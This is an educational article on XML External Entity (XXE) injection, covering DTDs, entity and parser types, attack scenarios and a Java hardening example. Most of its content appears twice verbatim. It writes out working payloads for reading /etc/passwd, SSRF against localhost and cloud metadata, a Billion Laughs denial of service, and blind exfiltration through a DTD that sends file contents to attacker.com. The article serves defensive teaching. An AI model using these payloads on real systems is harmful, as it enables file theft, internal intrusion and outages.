Understanding XML and XXE Injections

XML External Entity (XXE) injections are critical security vulnerabilities that exploit weaknesses in how applications parse XML input. Attackers inject malicious external entity references to access sensitive files, interact with internal systems, or exfiltrate data. These attacks commonly target web services, APIs, and applications that process XML without proper security controls.

Key Points

XXE attacks exploit XML parsers that process external entities without validation
Primary targets include SOAP APIs, REST services, and applications using XML for configuration or data exchange
Attack vectors range from file disclosure and SSRF to denial-of-service and blind data exfiltration
Prevention requires disabling external entities, using secure parsers, and implementing strict input validation
Impact can include unauthorized file access, internal network compromise, and system crashes

How XXE Attacks Work

XXE vulnerabilities arise when an XML parser processes external entities—references to external files or resources—without proper validation. Understanding the attack flow is essential for prevention:

Malicious XML Input: An attacker submits XML containing a crafted external entity declaration
Parser Processing: The application's XML parser resolves the entity, fetching the external resource
Data Exposure: The parser returns the contents of the external resource in the response
Impact Realization: Unauthorized access to files, internal network scanning, or denial-of-service occurs

Basic Attack Example

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Warning: If parsed insecurely, this payload exposes the contents of /etc/passwd, revealing system user information.

Foundational Concepts

XML: The Foundation

XML (eXtensible Markup Language) is a markup language designed for storing and transporting structured data. Its human-readable format and flexibility make it widely adopted across:

Web Services: SOAP and REST APIs for data exchange between systems
Configuration Files: Application settings (web.config, pom.xml, AndroidManifest.xml)
Document Storage: Structured data like invoices, medical records, and office documents
Data Feeds: RSS, ATOM, and other syndication formats

Document Type Definitions (DTDs)

DTDs define the structure and validation rules of an XML document, including:

Element declarations: Valid tags and their hierarchical relationships
Attribute specifications: Allowed attributes and their data types
Entity declarations: Placeholders for data, including external entities that trigger XXE

Critical Risk: DTDs can declare external entities (e.g., <!ENTITY xxe SYSTEM "http://attacker.com/malicious.dtd">), which parsers may resolve automatically, creating the XXE vulnerability.

XML Entities: The Attack Vector

Entities are variables in XML that substitute values during parsing. Understanding entity types is crucial for recognizing XXE risks:

Entity Type	Description	XXE Risk Level
Internal	Defined within the XML document (e.g., `<!ENTITY name "value">`)	Low (unless expanded recursively)
External	References external resources (e.g., `<!ENTITY xxe SYSTEM "file:///etc/passwd">`)	High (primary XXE vector)
Parameter	Used in DTDs (e.g., `<!ENTITY % param "value">`)	Medium (enables blind XXE)
General	Standard entities (e.g., `<` for `<`)	Low
Character	Predefined entities (e.g., `&` for `&`)	Low

XML Parsers: The Weak Link

Parsers read and interpret XML data. Their configuration determines XXE vulnerability:

Parser Type	Description	XXE Vulnerability
DOM	Loads entire XML into memory; supports XPath queries	High (processes external entities by default)
SAX	Event-driven, reads XML sequentially	Medium (depends on configuration)
StAX	Stream-based, balances performance and memory	Medium (if external entities enabled)
XPath	Queries XML data; can be exploited if combined with XXE	High (XPath injection + XXE combination)

Real-World Attack Scenarios

1. File Disclosure

Attackers read sensitive files from the server's filesystem by injecting external entities pointing to local files.

Attack Payload:

<!DOCTYPE foo [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<foo>&file;</foo>

Potential Targets:

/etc/passwd or /etc/shadow (Linux credentials)
C:\Windows\System32\drivers\etc\hosts (Windows system files)
Application configuration files containing API keys or database credentials
Source code files revealing business logic

Impact: Exposure of credentials, API keys, database connection strings, or proprietary source code.

2. Server-Side Request Forgery (SSRF)

XXE can force the server to make HTTP requests to internal systems, bypassing firewall restrictions.

Attack Payload:

<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://localhost:8080/admin">
]>
<foo>&ssrf;</foo>

Attack Scenarios:

Access internal admin panels or APIs
Scan internal network for open ports
Interact with cloud metadata services (e.g., http://169.254.169.254/latest/meta-data/)
Bypass IP-based authentication

Impact: Unauthorized access to internal services, cloud credential theft, or network reconnaissance.

3. Denial-of-Service (DoS)

Attackers exploit entity expansion to consume excessive memory or CPU, crashing the parser.

Billion Laughs Attack:

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

Impact: Parser crashes due to exponential memory consumption, causing application downtime.

4. Blind XXE (Out-of-Band Data Exfiltration)

Attackers exfiltrate data without direct feedback by forcing the server to send data to an attacker-controlled server.

Attack Payload:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
  %dtd;
]>
<foo>&send;</foo>

Malicious DTD (hosted on attacker.com):

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

Impact: Data exfiltration via DNS queries or HTTP requests, even when direct output is not visible.

Prevention Strategies

1. Disable External Entities

Configure parsers to reject external entities and DTDs entirely. This is the most effective prevention method.

Java Example:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);

Key Points

XXE attacks exploit XML parsers that process external entities without validation
Primary targets include SOAP APIs, REST services, and applications using XML for configuration or data exchange
Attack vectors range from file disclosure and SSRF to denial-of-service and blind data exfiltration
Prevention requires disabling external entities, using secure parsers, and implementing strict input validation
Impact can include unauthorized file access, internal network compromise, and system crashes

How XXE Attacks Work

Malicious XML Input: An attacker submits XML containing a crafted external entity declaration
Parser Processing: The application's XML parser resolves the entity, fetching the external resource
Data Exposure: The parser returns the contents of the external resource in the response
Impact Realization: Unauthorized access to files, internal network scanning, or denial-of-service occurs

Basic Attack Example

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Warning: If parsed insecurely, this payload exposes the contents of /etc/passwd, revealing system user information.

Foundational Concepts

XML: The Foundation

XML (eXtensible Markup Language) is a markup language designed for storing and transporting structured data. Its human-readable format and flexibility make it widely adopted across:

Web Services: SOAP and REST APIs for data exchange between systems
Configuration Files: Application settings (web.config, pom.xml, AndroidManifest.xml)
Document Storage: Structured data like invoices, medical records, and office documents
Data Feeds: RSS, ATOM, and other syndication formats

Document Type Definitions (DTDs)

DTDs define the structure and validation rules of an XML document, including:

Element declarations: Valid tags and their hierarchical relationships
Attribute specifications: Allowed attributes and their data types
Entity declarations: Placeholders for data, including external entities that trigger XXE

Critical Risk: DTDs can declare external entities (e.g., <!ENTITY xxe SYSTEM "http://attacker.com/malicious.dtd">), which parsers may resolve automatically, creating the XXE vulnerability.

XML Entities: The Attack Vector

Entities are variables in XML that substitute values during parsing. Understanding entity types is crucial for recognizing XXE risks:

Entity Type	Description	XXE Risk Level
Internal	Defined within the XML document (e.g., `<!ENTITY name "value">`)	Low (unless expanded recursively)
External	References external resources (e.g., `<!ENTITY xxe SYSTEM "file:///etc/passwd">`)	High (primary XXE vector)
Parameter	Used in DTDs (e.g., `<!ENTITY % param "value">`)	Medium (enables blind XXE)
General	Standard entities (e.g., `<` for `<`)	Low
Character	Predefined entities (e.g., `&` for `&`)	Low

XML Parsers: The Weak Link

Parsers read and interpret XML data. Their configuration determines XXE vulnerability:

Parser Type	Description	XXE Vulnerability
DOM	Loads entire XML into memory; supports XPath queries	High (processes external entities by default)
SAX	Event-driven, reads XML sequentially	Medium (depends on configuration)
StAX	Stream-based, balances performance and memory	Medium (if external entities enabled)
XPath	Queries XML data; can be exploited if combined with XXE	High (XPath injection + XXE combination)

Real-World Attack Scenarios

1. File Disclosure

Attackers read sensitive files from the server's filesystem by injecting external entities pointing to local files.

Attack Payload:

<!DOCTYPE foo [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<foo>&file;</foo>

Potential Targets:

/etc/passwd or /etc/shadow (Linux credentials)
C:\Windows\System32\drivers\etc\hosts (Windows system files)
Application configuration files containing API keys or database credentials
Source code files revealing business logic

Impact: Exposure of credentials, API keys, database connection strings, or proprietary source code.

2. Server-Side Request Forgery (SSRF)

XXE can force the server to make HTTP requests to internal systems, bypassing firewall restrictions.

Attack Payload:

<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://localhost:8080/admin">
]>
<foo>&ssrf;</foo>

Attack Scenarios:

Access internal admin panels or APIs
Scan internal network for open ports
Interact with cloud metadata services (e.g., http://169.254.169.254/latest/meta-data/)
Bypass IP-based authentication

Impact: Unauthorized access to internal services, cloud credential theft, or network reconnaissance.

3. Denial-of-Service (DoS)

Attackers exploit entity expansion to consume excessive memory or CPU, crashing the parser.

Billion Laughs Attack:

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

Impact: Parser crashes due to exponential memory consumption, causing application downtime.

4. Blind XXE (Out-of-Band Data Exfiltration)

Attackers exfiltrate data without direct feedback by forcing the server to send data to an attacker-controlled server.

Attack Payload:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
  %dtd;
]>
<foo>&send;</foo>

Malicious DTD (hosted on attacker.com):

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

Impact: Data exfiltration via DNS queries or HTTP requests, even when direct output is not visible.

Prevention Strategies

1. Disable External Entities

Configure parsers to reject external entities and DTDs entirely. This is the most effective prevention method.

Java Example:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);